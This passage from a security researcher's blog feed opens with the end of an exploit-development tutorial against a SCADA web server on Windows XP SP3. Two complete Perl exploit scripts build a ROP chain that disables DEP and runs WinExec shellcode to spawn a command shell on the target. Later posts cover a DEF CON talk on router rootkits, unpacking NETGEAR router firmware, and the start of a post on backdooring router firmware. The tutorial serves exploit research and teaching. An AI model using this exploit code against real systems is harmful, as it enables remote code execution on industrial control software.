<p>The next two instructions in the gadget (&#8220;dec ebx; mov ebx, 0x33c233f6&#8243;) are inconsequential and can be safely ignored.  As we can see, the PUSHAD instruction also results in pushing the ESI and EDI registers above EBP on the stack, which both contain the pointer 0x77e3cb79.</p>
<p>This pointer is actually another gadget to be executed (twice), but unlike other gadgets which perform any number of potentially complex operations, this one is simply a single RET instruction:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/15.png"><img class="aligncenter size-full wp-image-234" title="15" src="http://www.poppopret.org/wp-content/uploads/2012/08/15.png" alt="" width="356" height="11" /></a></p>
<p>This particular gadget is referred to as a &#8220;ROP NOP,&#8221; similar to how the NOP (No-OPeration) instruction in x86 simply &#8220;does nothing&#8221;.  When utilized in a ROP chain, we can simply slide down the stack, returning into gadgets that &#8220;do nothing&#8221; until we reach an interesting pointer.  In this case, we execute two ROP NOPs until we return into the NtSetInformationProcess pointer to disable DEP.</p>
<p>Upon completion of the function, we return into the next dword on the stack.  Referencing the PUSHAD documentation once again, we see that the register pushed immediately before EBP was the value of ESP before the operation.  This is excellent, because by returning into this value we transfer execution directly to stack memory adjacent to the ROP chain itself, which at the moment is just our placeholder of a bunch of &#8220;A&#8221;s:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/16.png"><img class="aligncenter size-full wp-image-235" title="16" src="http://www.poppopret.org/wp-content/uploads/2012/08/16.png" alt="" width="258" height="55" /></a></p>
<p>All we have to do from this point is stash some shellcode immediately after the ROP chain and we&#8217;ll have our shell.  We can grab a simple WinExec shellcode <a href="http://shell-storm.org/shellcode/files/shellcode-482.php">here</a>.  Update our exploit:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x8d\x15\x86\x7c\xff\xd0";

$exploit .= "A"x(424-23);

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>So are we finished?  God, no.</p>
<p>We need to do a little refactoring of this shellcode before we can use it.  The hardcoded WinExec address it uses is not correct for XP SP3, so we first need to update it with the correct address 0x7c86250d:</p>
<pre>\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8<span style="color: #ff0000;">\x0d\x25\x86\x7c</span>\xff\xd0</pre>
<p>However, this presents another problem.  The true WinExec address has the bad char 0&#215;25 in its address, and it doesn&#8217;t seem immediately feasible to jump to a nearby address without the offending byte due to the RET:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/17.png"><img class="aligncenter size-full wp-image-236" title="17" src="http://www.poppopret.org/wp-content/uploads/2012/08/17.png" alt="" width="400" height="128" /></a></p>
<p>So let&#8217;s tack on a couple more bytes to our shellcode.  Instead of directly MOVing &amp;WinExec to EAX, we can be tricky and MOV the two&#8217;s complement of the function pointer and NEG (negate) it.  The disassembly of our new shellcode will look like this:</p>
<pre>02CDFA7C   8BEC             MOV EBP,ESP
02CDFA7E   68 65786520      PUSH 20657865
02CDFA83   68 636D642E      PUSH 2E646D63
02CDFA88   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
02CDFA8B   50               PUSH EAX
02CDFA8C   B8 F3DA7983      MOV EAX,8379DAF3
02CDFA91   F7D8             NEG EAX
02CDFA93   FFD0             CALL EAX</pre>
<p>This is our final exploit:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\xf3\xda\x79\x83\xf7\xd8\xff\xd0";

$exploit .= "A"x(424-25);

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>And let &#8216;er rip:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/18.png"><img class="aligncenter size-full wp-image-237" title="18" src="http://www.poppopret.org/wp-content/uploads/2012/08/18.png" alt="" width="1021" height="739" /></a></p>
<p>Obviously we&#8217;re only able to spawn a shell locally (on the remote system), but the techniques necessary to write the appropriate network-capable shellcode without using any of our nine bad chars with size considerations may be better suited for a separate post.  Or we could just use a stager.</p>
<p><strong>SCADA Wars Episode 3 &#8211; Revenge of ASLR</strong></p>
<p>A (hopeful) part three will discuss the implications of ASLR in the target environment, disallowing the use of hardcoded addresses in our exploit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=141</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>DEF CON 20 Presentation</title>
		<link>http://www.poppopret.org/?p=216</link>
		<comments>http://www.poppopret.org/?p=216#comments</comments>
		<pubDate>Mon, 23 Jul 2012 00:24:14 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=216</guid>
		<description><![CDATA[By the way, I will be presenting &#8220;Owning the Network: Adventures in Router Rootkits&#8221; this Sunday, 12 noon at DEF CON 20.  If you enjoy ownage, networks, adventures, routers, and rootkits, this talk is for you. I&#8217;ll be releasing my &#8230; <a href="http://www.poppopret.org/?p=216">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>By the way, I will be presenting &#8220;<a href="http://defcon.org/html/defcon-20/dc-20-speakers.html#Coppola">Owning the Network: Adventures in Router Rootkits</a>&#8221; this Sunday, 12 noon at DEF CON 20.  If you enjoy ownage, networks, adventures, routers, and rootkits, this talk is for you. I&#8217;ll be releasing my firmware generation/manipulation framework at the talk, which will be made available on the site shortly afterwards.  Slides and (hopefully) video will be available as well.</p>
<p><strong>Post-conference update:</strong></p>
<p><strong></strong>Download slides: <a href="http://www.poppopret.org/dl/Owning%20the%20Network%20-%20Adventures%20in%20Router%20Rootkits.pdf">http://www.poppopret.org/dl/Owning the Network &#8211; Adventures in Router Rootkits.pdf<br />
</a>Download rpef: <a href="http://redmine.poppopret.org/projects/rpef">http://redmine.poppopret.org/projects/rpef</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=216</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NETGEAR unsquashfs.c version 1.3</title>
		<link>http://www.poppopret.org/?p=204</link>
		<comments>http://www.poppopret.org/?p=204#comments</comments>
		<pubDate>Wed, 18 Apr 2012 02:13:38 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=204</guid>
		<description><![CDATA[Last month I posted a portion of a ridiculous conversation with NETGEAR over source code it withheld to unpack the filesystem on one of its routers.  I would like to announce that against all expectations, NETGEAR actually pulled through and &#8230; <a href="http://www.poppopret.org/?p=204">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last month I posted a portion of a ridiculous conversation with NETGEAR over source code it withheld to unpack the filesystem on one of its routers.  I would like to announce that against all expectations, NETGEAR actually pulled through and sent me the source code I was looking for!</p>
<p>As mentioned previously, I posted a detailed explanation of my situation <a href="https://forum.openwrt.org/viewtopic.php?pid=164827">over on the OpenWRT forum</a>.  To avoid any unnecessary re-explaining of background information, I&#8217;ll copy/paste it here:</p>
<hr />
<p>Hey guys,</p>
<p>I&#8217;m trying to unpack SquashFS on the WNR1000v3 1.0.2.26 but have been running into lots of issues.</p>
<p>The firmware image is available here: <a href="http://www.downloads.netgear.com/files/WNR1000v3-V1.0.2.26_51.0.59NA.chk">http://www.downloads.netgear.com/files/WNR1000v3-V1.0.2.26_51.0.59NA.chk</a></p>
<p>The source for it is available here: <a href="http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip">http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip</a></p>
<p>binwalk 0.4.2 provides the following output:</p>
<pre>DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
58        	0x3A      	TRX firmware header, little endian, header size: 28 bytes,  image size: 2584576 bytes, CRC32: 0x9861D9FF flags/version: 0x10000
86        	0x56      	LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1634304 bytes
592666    	0x90B1A   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 1988809 bytes, 421 inodes, blocksize: 65536 bytes, created: Fri Jul 16 06:30:19 2010</pre>
<p>Extract the filesystem at offset 592666:</p>
<pre>$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=filesystem.bin bs=592666 skip=1
3+1 records in
3+1 records out
1991968 bytes (2.0 MB) copied, 0.0391462 s, 50.9 MB/s</pre>
<p>As noted by binwalk, the filesystem has a non-standard magic number:</p>
<pre>$ hexdump -C filesystem.bin | head -n2
00000000  73 68 73 71 a5 01 00 00  84 7a 00 37 dc 7c 00 de  |shsq.....z.7.|..|
00000010  8a 04 08 40 06 01 40 02  00 63 00 09 03 00 00 00  |...@..@..c......|</pre>
<p>Trying to unpackage it immediately returns the following error:</p>
<pre>$ unsquashfs filesystem.bin
Can't find a SQUASHFS superblock on filesystem.bin</pre>
<p>&#8230;which is to be expected. Correct the magic number to &#8220;hsqs&#8221; and now:</p>
<pre>$ unsquashfs filesystem.bin
Parallel unsquashfs: Using 2 processors
gzip uncompress failed with error code -3
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table</pre>
<p>A little sleuthing returns that the filesystem is actually compressed using lzma, not gzip, so try a different compilation:</p>
<pre>$ ../../../firmware-mod-kit-read-only/trunk/src/others/squashfs-4.0-lzma/unsquashfs-lzma filesystem.bin
Parallel unsquashfs: Using 2 processors
uncompress failed, unknown error -3
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table</pre>
<p>I can confirm that <strong>none</strong> of the publicly available unsquashfs utilities I can find are able to unpackage the file. I&#8217;ve tried using every version of unsquashfs, every variant of it, in every package that incorporates it (e.g., firmware-mod-kit). firmware-mod-kit&#8217;s scripts are unsuccessful as well.</p>
<p>Looking through the firmware source code, I see:</p>
<pre>$ find . -name *squash*
./src/router/mipsel-uclibc/target.squashfs
./src/router/squashfs
./src/router/squashfs/mksquashfs.c
./src/router/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs
./src/linux/linux/scripts/squashfs/mksquashfs
./src/linux/linux/scripts/squashfs/mksquashfs.c
./src/linux/linux/scripts/squashfs/mksquashfs.h
./src/linux/linux/scripts/squashfs/squashfs_fs.h
./src/linux/linux/fs/squashfs
./src/linux/linux/fs/squashfs/.squashfs2_0.o.flags
./src/linux/linux/fs/squashfs/squashfs2_0.o
./src/linux/linux/fs/squashfs/squashfs.o
./src/linux/linux/fs/squashfs/squashfs.h
./src/linux/linux/fs/squashfs/squashfs2_0.c
./src/linux/linux/fs/squashfs/.squashfs.o.flags
./src/linux/linux/include/linux/squashfs_fs_i.h
./src/linux/linux/include/linux/squashfs_fs.h
./src/linux/linux/include/linux/squashfs_fs_sb.h
./src/linux/linux/include/config/squashfs.h
./src/linux/linux/include/config/squashfs</pre>
<p>&#8230;and unfortunately no unsquashfs.c code. In the meantime, I&#8217;ve contacted Netgear asking if they have it available.</p>
<p>The exact version they&#8217;re using is a bit confusing:</p>
<pre>$ grep "mksquashfs version" -r .
./src/router/mipsel-uclibc/target/lib/modules/2.4.20/build/scripts/squashfs/mksquashfs.c:	printf("mksquashfs version 2.2-r2\n");\
./src/router/squashfs/mksquashfs.c:	printf("mksquashfs version 3.2-r2 (2007/01/15)\n");\
./src/linux/linux/scripts/squashfs/mksquashfs.c:	printf("mksquashfs version 2.2-r2\n");\</pre>
<p>Grepping for our non-standard magic number reveals:</p>
<pre>$ grep 0x73687371 -r .
./src/router/mipsel-uclibc/target/lib/modules/2.4.20/build/include/linux/squashfs_fs.h:#define SQUASHFS_MAGIC_LZMA_SWAP	0x73687371
./src/linux/linux/include/linux/squashfs_fs.h:#define SQUASHFS_MAGIC_LZMA_SWAP	0x73687371</pre>
<p>Okay, great. Some Googling and it seems that this patch should do the trick: <a href="https://dev.openwrt.org/browser/trunk/tools/squashfs4/patches/170-add_support_for_LZMA_MAGIC_to_unsqashfs.patch?rev=28489">https://dev.openwrt.org/browser/trunk/tools/squashfs4/patches/170-add_support_for_LZMA_MAGIC_to_unsqashfs.patch?rev=28489</a><br />
Patch unsquashfs, rebuild, and:</p>
<pre>$ ./unsquashfs ../../filesystem.bin
Parallel unsquashfs: Using 2 processors
lzma uncompress failed with error code 1
read_block: failed to read block @0x1e547f
read_fragment_table: failed to read fragment table block
FATAL ERROR aborting: failed to read fragment table</pre>
<p>Would anyone have any advice to offer, or mind lending a hand trying to get this filesystem unpackaged? Thank you in advance.</p>
<hr />
<p>After about a month of back and forth conversation with their technical support team, I finally received a message linking me to the unsquashfs.c file I was looking for (download link is at the end of this post).</p>
<p>The following steps outline how to compile:</p>
<ol>
<li>Download and extract <a href="http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip">http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip</a></li>
<li>Copy unsquashfs.c into bcm5356/src/router/squashfs</li>
<li>`cd bcm5356/src/router/squashfs; make`</li>
</ol>
<pre>sh-4.1$ ./unsquashfs
SYNTAX: ./unsquashfs [options] filesystem [directory or file to extract]
	-v[ersion]		print version, licence and copyright information
	-i[nfo]			print files as they are unsquashed
	-l[s]			list filesystem only
	-d[est] 	unsquash to , default "squashfs-root"
	-f[orce]		if file already exists then overwrite
sh-4.1$ ./unsquashfs -version
unsquashfs version 1.3 (2007/01/02)
copyright (C) 2007 Phillip Lougher 

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2,
or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
sh-4.1$</pre>
<p>And to demonstrate its functionality:</p>
<pre>sh-4.1$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=filesystem.bin bs=592666 skip=1
3+1 records in
3+1 records out
1991968 bytes (2.0 MB) copied, 0.0060848 s, 327 MB/s
sh-4.1$ ./unsquashfs filesystem.bin 

created 327 files
created 35 directories
created 59 symlinks
created 0 devices
created 0 fifos
sh-4.1$ ls -R squashfs-root/
squashfs-root/:
bin  dev  etc  lib  media  mnt	proc  sbin  sys  tmp  usr  var	www

squashfs-root/bin:
busybox  cp    gunzip  ls     mount  ps   rmdir   wps_ap
cat	 eapd  gzip    mkdir  msh    pwd  sh	  wps_monitor
chmod	 echo  kill    mknod  ping   rm   umount  zcat

squashfs-root/dev:

squashfs-root/etc:
icon.ico  large.ico    ld.so.conf  ppp		small.ico
iproute2  ld.so.cache  lld2d.conf  resolv.conf

squashfs-root/etc/iproute2:

squashfs-root/etc/ppp:

squashfs-root/lib:
ld-uClibc.so.0	libc.so.0   libgcc_s.so.1  libpthread.so.0  libutil.so.0
libcrypt.so.0	libdl.so.0  libm.so.0	   libresolv.so.0   modules

squashfs-root/lib/modules:
2.4.20

squashfs-root/lib/modules/2.4.20:
build  kernel  pcmcia

squashfs-root/lib/modules/2.4.20/kernel:
drivers  net

squashfs-root/lib/modules/2.4.20/kernel/drivers:
net

squashfs-root/lib/modules/2.4.20/kernel/drivers/net:
emf  et  igs  wl

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/emf:
emf.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/et:
et.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/igs:
igs.o

squashfs-root/lib/modules/2.4.20/kernel/drivers/net/wl:
wl.o

squashfs-root/lib/modules/2.4.20/kernel/net:
ipv4

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4:
acos_nat  l7_filter  multissidcontrol  opendns	ubd

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/acos_nat:
acos_nat.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/l7_filter:
l7_filter.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/multissidcontrol:
MultiSsidControl.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/opendns:
openDNS_hijack.o

squashfs-root/lib/modules/2.4.20/kernel/net/ipv4/ubd:
ubd.o

squashfs-root/lib/modules/2.4.20/pcmcia:

squashfs-root/mnt:

squashfs-root/proc:

squashfs-root/sbin:
acos_init     burnrf	 ifconfig  ntpclient  reset_no_reboot	     version
acos_service  burnsn	 init	   pppd       restart_all_processes  write
bd	      erase	 insmod    preinit    rmmod
burnboardid   getchksum  leddown   rc	      routerinfo
burnethermac  gpio	 ledup	   read_bd    ubdcmd
burnpin       hotplug	 lsmod	   reboot     uptime

squashfs-root/sys:

squashfs-root/tmp:

squashfs-root/usr:
bin  lib  sbin	tmp

squashfs-root/usr/bin:
free  killall  route  telnetd  tftp  wget

squashfs-root/usr/lib:
libacos_shared.so  libbcm.so  libnvram.so   libwpscom.so
libbcmcrypto.so    libnat.so  libshared.so  tc

squashfs-root/usr/lib/tc:
q_netem.so

squashfs-root/usr/sbin:
acl_logd	   email      lld2d	   swresetd	  upnpd        wlconf
bpalogin	   emf	      nas	   tc		  upnpnat      wpsd
bpa_monitor	   epi_ttcp   nvram	   telnetenabled  vconfig      zebra
brctl		   et	      outputimage  tfmeter	  wan_debug
cli		   ftpc       pot	   timesync	  wandetect
ddnsd		   heartbeat  pppoecd	   udhcpc	  wanled
dnsmasq		   httpd      pptp	   udhcpd	  wl
dnsRedirectReplyd  igs	      ripd	   upnp		  wlanconfigd

squashfs-root/www:
Add_WPS_Client.htm		 PWD_password.htm
backpage2.htm			 QOS_check_uplink_band_width.htm
backpage.htm			 QOS_main_h.htm
BAK_backup_h.htm		 QOS_main.htm
BAK_backup.htm			 QOS_ruletab.htm
BAK_cfm.htm			 QOS_service.htm
BAS_basic.htm			 redbull.gif
BAS_basictop.htm		 router-info.htm
BAS_bpa_h.htm			 RST_interval.htm
BAS_bpa.htm			 RST_statistics.htm
BAS_ether_h.htm			 RST_stattbl.htm
BAS_ether.htm			 RST_status_h.htm
BAS_pppoe_basic.htm		 RST_status.htm
BAS_pppoe_basictop.htm		 RST_st_bpa.htm
BAS_pppoe_flet2.htm		 RST_st_dhcp.htm
BAS_pppoe_flet.htm		 RST_st_fix.htm
BAS_pppoe_h.htm			 RST_st_poe.htm
BAS_pppoe.htm			 RST_st_pptp.htm
BAS_pppoe_other.htm		 RST_wanstat.htm
BAS_pptp_h.htm			 settings_wnr1000v3.jpg
BAS_pptp.htm			 spacer.gif
BAS_wtest_d.htm			 SRV_response.htm
BAS_wtest_l.htm			 start.htm
BAS_wtest_ppp2.htm		 start_update.htm
BKS_err.htm			 STR_add.htm
BKS_keyword_h.htm		 StringTableUpload.html
BKS_keyword.htm			 string_table_wnr1000v3
BKS_keyword_ppp2.htm		 STR_routes_h.htm
BKS_service_add_h.htm		 STR_routes.htm
BKS_service_add.htm		 style.css
BKS_service_edit.htm		 traffic_important_update.htm
BKS_service_h.htm		 traffic_interval.htm
BKS_service.htm			 traffic_meter_h.htm
BKS_service_ppp2.htm		 traffic_meter.htm
browser.js			 traffic_start_update.htm
CheckNewFW.html			 traffic_stattbl.htm
currentsetting.htm		 traffic_status.htm
darkblue.gif			 traffic_warning.htm
debuginfo.htm			 UPG_fw_check.htm
DEV_device_h.htm		 UPG_upgrade_h.htm
DEV_device.htm			 UPG_upgrade.htm
DIG_reboot2.htm			 upload.gif
DIG_reboot3.htm			 UPNP_upnp_h.htm
DIG_reboot4.htm			 UPNP_upnp.htm
DIG_reboot.htm			 utility.js
DIG_update.htm			 VER_check_h.htm
DNS_ddns_h.htm			 VER_check.htm
DNS_ddns.htm			 VER_download_h.htm
DNS_ddns_st.htm			 VER_download.htm
form.css			 VER_fw_found.htm
func.js				 VER_fwlang_found.htm
FW_check.htm			 VER_fw_not_found.htm
FW_email_h.htm			 VER_result_h.htm
FW_email.htm			 VER_sel_h.htm
FW_forward_h.htm		 VER_sel.htm
FW_forward.htm			 VER_write2.htm
FW_forward_service_h.htm	 VER_write_h.htm
FW_forward_service.htm		 VER_write.htm
FW_log_h.htm			 WAN_wan_h.htm
FW_log.htm			 WAN_wan.htm
FW_pt_h.htm			 WiFi_HiddenPage.htm
FW_pt.htm			 WIZ_bpa_h.htm
FW_pt_service.htm		 WIZ_bpa.htm
FW_remote_h.htm			 WIZ_cfm_h.htm
FW_remote.htm			 WIZ_cfm.htm
FW_schedule_h.htm		 WIZ_det_fix_h.htm
FW_schedule.htm			 WIZ_det_fix.htm
FW_schedule_ppp2.htm		 WIZ_detwan.htm
help.css			 WIZ_dyn_h.htm
IA_IP_SUBNET.htm		 WIZ_dyn.htm
important_update.htm		 WIZ_fix_h.htm
index.htm			 WIZ_fix.htm
LANG_brs_conflict_h.htm		 WIZ_ph_fail_h.htm
LANG_brs_conflict.htm		 WIZ_ph_fail.htm
LANG_check_brslang.htm		 WIZ_pppoe_fleteast.htm
LANG_check.htm			 WIZ_pppoe_fletother.htm
LANG_check_top.htm		 WIZ_pppoe_fletwest.htm
LANG_download.htm		 WIZ_pppoe_h.htm
LANG_failed.htm			 WIZ_pppoe.htm
LANG_found.htm			 WIZ_pptp_h.htm
LANG_lang_h.htm			 WIZ_pptp.htm
LANG_lang.htm			 WIZ_result.htm
LANG_no_connection.htm		 WIZ_sel_h.htm
LANG_not_found.htm		 WIZ_sel.htm
LANG_upgrade.htm		 WLG_acl_add_h.htm
LANG_write.htm			 WLG_acl_add.htm
LAN_lan_h.htm			 WLG_acl_edit.htm
LAN_lan.htm			 WLG_acl_h.htm
LAN_reserv_add_h.htm		 WLG_acl.htm
LAN_reserv_add.htm		 WLG_adv_h.htm
LAN_reserv_edit_h.htm		 WLG_adv.htm
LAN_reserv_edit.htm		 WLG_wds_h.htm
LGO_logout.htm			 WLG_wds.htm
liteblue.gif			 WLG_wireless1_2.htm
md5.js				 WLG_wireless1.htm
menublue.gif			 WLG_wireless2_2.htm
mimo_logo_wnr1000v3.jpg		 WLG_wireless_2_h.htm
MNU_access_failure.htm		 WLG_wireless_2.htm
MNU_access_unauthorized.htm	 WLG_wireless2.htm
MNU_blank.htm			 WLG_wireless3_2.htm
MNU_login.htm			 WLG_wireless3.htm
MNU_menu.htm			 WLG_wireless4_2.htm
MNU_menu_no_link.htm		 WLG_wireless_h.htm
MNU_top.htm			 WLG_wireless.htm
msg.js				 WPS_Add_Client_FAIL_Cancel_Change.htm
NoInternetConn.html		 WPS_Add_Client_FAIL_Cancel.htm
NoInternet.html			 WPS_Add_Client_FAIL_ErrorPIN.htm
POT.htm				 WPS_Add_Client_FAIL_PBC_Conflict_Change.htm
pppoe2_domain_add.htm		 WPS_Add_Client_FAIL_PBC_Conflict.htm
pppoe2_domain_edit.htm		 WPS_Add_Client_FAIL_PIN_Change.htm
pppoe2_ip_add.htm		 WPS_Add_Client_FAIL_PIN.htm
pppoe2_ip_edit.htm		 WPS_Add_Client_FAIL_Timeout_Change.htm
pppoe2_port_add.htm		 WPS_Add_Client_FAIL_Timeout.htm
pppoe2_port_edit.htm		 WPS_Add_Client_OK_Change.htm
Public_UPNP_gatedesc.xml	 WPS_Add_Client_OK.htm
Public_UPNP_LANHostCfgMag.xml	 WPS_Add_Client_PBC.htm
Public_UPNP_Layer3F.xml		 WPS_Add_Client_PIN.htm
Public_UPNP_WAND.xml		 WPS_h.htm
Public_UPNP_WANEtherLinkCfg.xml  WPS.htm
Public_UPNP_WANIPConn.xml	 wps_icon_off.bmp
Public_UPNP_WANPPPConn.xml	 wps_icon_on.bmp
PWD_passwd_h.htm		 WPS_PIN.htm
sh-4.1$</pre>
<p>In summary, the following code has been verified to unpack SquashFS filesystems on the following NETGEAR devices:</p>
<ul>
<li>WNR1000v3 1.0.26NA</li>
<li>WGR614v10 1.0.26NA</li>
</ul>
<p>The unsquashfs.c code may be downloaded here: <a href="http://poppopret.org/dl/unsquashfs-1.3.c">http://poppopret.org/dl/unsquashfs-1.3.c</a></p>
<p>If there is one lesson to be learned from this experience, it&#8217;s amazing what you can receive if you simply choose to ask.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.poppopret.org/?feed=rss2&#038;p=204</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>An Interesting Conversation with NETGEAR</title>
		<link>http://www.poppopret.org/?p=175</link>
		<comments>http://www.poppopret.org/?p=175#comments</comments>
		<pubDate>Sun, 04 Mar 2012 03:12:59 +0000</pubDate>
		<dc:creator>mncoppola</dc:creator>
				<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.poppopret.org/?p=175</guid>
		<description><![CDATA[For the past 8 months or so, I&#8217;ve been heading a project on reverse engineering router firmware with the end goal of developing a generalized, repeatable, effective technique to backdoor router firmwares images (and ultimately the devices they are flashed &#8230; <a href="http://www.poppopret.org/?p=175">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
